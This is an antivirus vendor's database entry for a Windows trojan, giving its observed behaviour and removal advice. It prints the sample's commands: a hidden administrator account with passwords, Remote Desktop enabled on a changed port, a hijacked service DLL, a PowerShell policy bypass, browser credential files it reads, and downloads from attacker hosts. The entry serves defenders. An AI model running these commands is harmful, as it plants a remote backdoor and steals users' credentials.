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Trojan.Siggen8.52818

Added to the Dr.Web virus database: 2019-11-02

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\system\currentcontrolset\services\TermService\parameters] 'ServiceDLL' = '%ProgramFiles%\windows mail\appcache.xml'
  • [<HKLM>\System\CurrentControlSet\Services\TermService] 'Start' = '00000002'
Malicious functions
Executes the following
  • '%WINDIR%\syswow64\taskkill.exe' /im <File name>.exe /f
Terminates or attempts to terminate
the following user processes:
  • firefox.exe
Reads files which store third party applications passwords
  • %LOCALAPPDATA%\google\chrome\user data\default\web data
  • %APPDATA%\opera software\opera stable\login data
Modifies file system
Creates the following files
  • %PROGRAMDATA%\freebl3.dll
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\telegram\d877f783d5d3ef8c1
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\telegram\map0
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\cookie_list.txt
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\information.txt
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\files\default1.zip
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\screenshot.jpg
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\nl_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee3162852871.zip
  • %PROGRAMDATA%\9j7pam5ltq.exe
  • %TEMP%\nsl8b76.tmp
  • %TEMP%\nsb8b87.tmp\blowfish.dll
  • %TEMP%\chadshfsd323.txt
  • %TEMP%\premiumextraxeeoulzcjz.ps1
  • %TEMP%\add.ps1
  • %TEMP%\nsb8b87.tmp\system.dll
  • %ProgramFiles%\windows mail\appcache.xml
  • %ProgramFiles%\windows mail\default_list.xml
  • %ProgramFiles%\windows mail\cleanuptask.cfg
  • %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
  • <SYSTEM32>\rfxvmt.dll
  • %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
  • %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
  • %PROGRAMDATA%\mozglue.dll
  • %PROGRAMDATA%\msvcp140.dll
  • %PROGRAMDATA%\nss3.dll
  • %PROGRAMDATA%\softokn3.dll
  • %PROGRAMDATA%\vcruntime140.dll
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\c
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\c-shm
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\cookies\cookies_mozilla firefox_gn7ryp3k.default.txt
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\history
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\history-shm
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\history\history_mozilla firefox_gn7ryp3k.default.txt
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\ld
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\historych
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\cookies\google chrome_default.txt
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\wd
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\history\opera_stable.txt
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\cookies\opera_stable.txt
  • %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
  • %WINDIR%\temp\usrnm.txt
Deletes the following files
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\c-shm
  • %TEMP%\nsb8b87.tmp\system.dll
  • %TEMP%\nsb8b87.tmp\blowfish.dll
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\nl_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee3162852871.zip
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\telegram\map0
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\telegram\d877f783d5d3ef8c1
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\screenshot.jpg
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\information.txt
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\history\opera_stable.txt
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\history\history_mozilla firefox_gn7ryp3k.default.txt
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\files\default1.zip
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\cookie_list.txt
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\cookies\opera_stable.txt
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\cookies\google chrome_default.txt
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\files\cookies\cookies_mozilla firefox_gn7ryp3k.default.txt
  • %PROGRAMDATA%\vcruntime140.dll
  • %PROGRAMDATA%\softokn3.dll
  • %PROGRAMDATA%\nss3.dll
  • %PROGRAMDATA%\msvcp140.dll
  • %PROGRAMDATA%\mozglue.dll
  • %PROGRAMDATA%\freebl3.dll
  • %PROGRAMDATA%\yryqfuj1af82gtgp2yoyp1nbb\history-shm
  • %PROGRAMDATA%\9j7pam5ltq.exe
  • %TEMP%\chadshfsd323.txt
Deletes itself.
Network activity
TCP
HTTP GET requests
  • http://qu##rt.org/freebl3.dll
  • http://qu##rt.org/mozglue.dll
  • http://qu##rt.org/msvcp140.dll
  • http://qu##rt.org/nss3.dll
  • http://qu##rt.org/softokn3.dll
  • http://qu##rt.org/vcruntime140.dll
  • http://ip###ger.org/fkJJ
  • http://cv##.icu/svddigjgj5.exe
  • 'ip###ger.org':443
  • UDP
    • DNS ASK qu##rt.org
    • DNS ASK ip##pi.com
    • DNS ASK ip###ger.org
    • DNS ASK cv##.icu
    Miscellaneous
    Searches for the following windows
    • ClassName: '' WindowName: ''
    Creates and executes the following
    • '%PROGRAMDATA%\9j7pam5ltq.exe'
    • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -f %TEMP%\premiumextraXEEOULZCJZ.ps1
    • '%PROGRAMDATA%\9j7pam5ltq.exe' ' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /c taskkill /im <File name>.exe /f & erase <Full path to file> & exit' (with hidden window)
    • '<SYSTEM32>\cmd.exe' /c powershell -ep bypass -f %TEMP%\premiumextraXEEOULZCJZ.ps1' (with hidden window)
    • '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc Ghasar4f5 /del' (with hidden window)
    • '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc 61GL1PoI /add' (with hidden window)
    • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD' (with hidden window)
    • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" rxvkyzrm$ /ADD' (with hidden window)
    • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD' (with hidden window)
    • '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc 61GL1PoI' (with hidden window)
    Executes the following
    • '%WINDIR%\syswow64\cmd.exe' /c taskkill /im <File name>.exe /f & erase <Full path to file> & exit
    • '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc Ghasar4f5 /del
    • '<SYSTEM32>\net.exe' user WgaUtilAcc Ghasar4f5 /del
    • '<SYSTEM32>\net1.exe' user WgaUtilAcc Ghasar4f5 /del
    • '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc 61GL1PoI /add
    • '<SYSTEM32>\net.exe' user WgaUtilAcc 61GL1PoI /add
    • '<SYSTEM32>\net1.exe' user WgaUtilAcc 61GL1PoI /add
    • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    • '<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" rxvkyzrm$ /ADD
    • '<SYSTEM32>\net.exe' user WgaUtilAcc 61GL1PoI
    • '<SYSTEM32>\cmd.exe' /c del %temp%\*.ps1 /f
    • '<SYSTEM32>\cmd.exe' /c del %temp%\*.txt /f
    • '<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" rxvkyzrm$ /ADD
    • '<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" rxvkyzrm$ /ADD
    • '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
    • '<SYSTEM32>\net.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
    • '<SYSTEM32>\net1.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
    • '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc 61GL1PoI
    • '<SYSTEM32>\net1.exe' start TermService
    • '<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    • '<SYSTEM32>\net.exe' start TermService
    • '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant BUILTIN\Administrators:RX
    • '<SYSTEM32>\cmd.exe' /c powershell -ep bypass -f %TEMP%\premiumextraXEEOULZCJZ.ps1
    • '<SYSTEM32>\takeown.exe' /A /F rfxvmt.dll
    • '<SYSTEM32>\icacls.exe' rfxvmt.dll /inheritance:d
    • '<SYSTEM32>\icacls.exe' rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    • '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    • '<SYSTEM32>\icacls.exe' rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    • '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    • '<SYSTEM32>\icacls.exe' rfxvmt.dll /remove BUILTIN\Administrators
    • '<SYSTEM32>\reg.exe' ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    • '<SYSTEM32>\cmd.exe' /c cmd/c net start TermService
    • '<SYSTEM32>\reg.exe' add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d "%ProgramFiles%\windows mail\appcache.xml" /f
    • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    • '<SYSTEM32>\net.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    • '<SYSTEM32>\net1.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    • '<SYSTEM32>\cmd.exe' /c cmd/c net start rdpdr
    • '<SYSTEM32>\cmd.exe' /c net start rdpdr
    • '<SYSTEM32>\net.exe' start rdpdr
    • '<SYSTEM32>\net1.exe' start rdpdr
    • '<SYSTEM32>\cmd.exe' /c net start TermService
    • '<SYSTEM32>\net1.exe' user WgaUtilAcc 61GL1PoI
    Uses NTFS alternate data streams

    Curing recommendations

    1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
    2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
    Download Dr.Web

    Download by serial number

    Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

    After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

    Download Dr.Web

    Download by serial number

    1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
    2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
      • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
      • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
      • Switch off your device and turn it on as normal.

    Find out more about Dr.Web for Android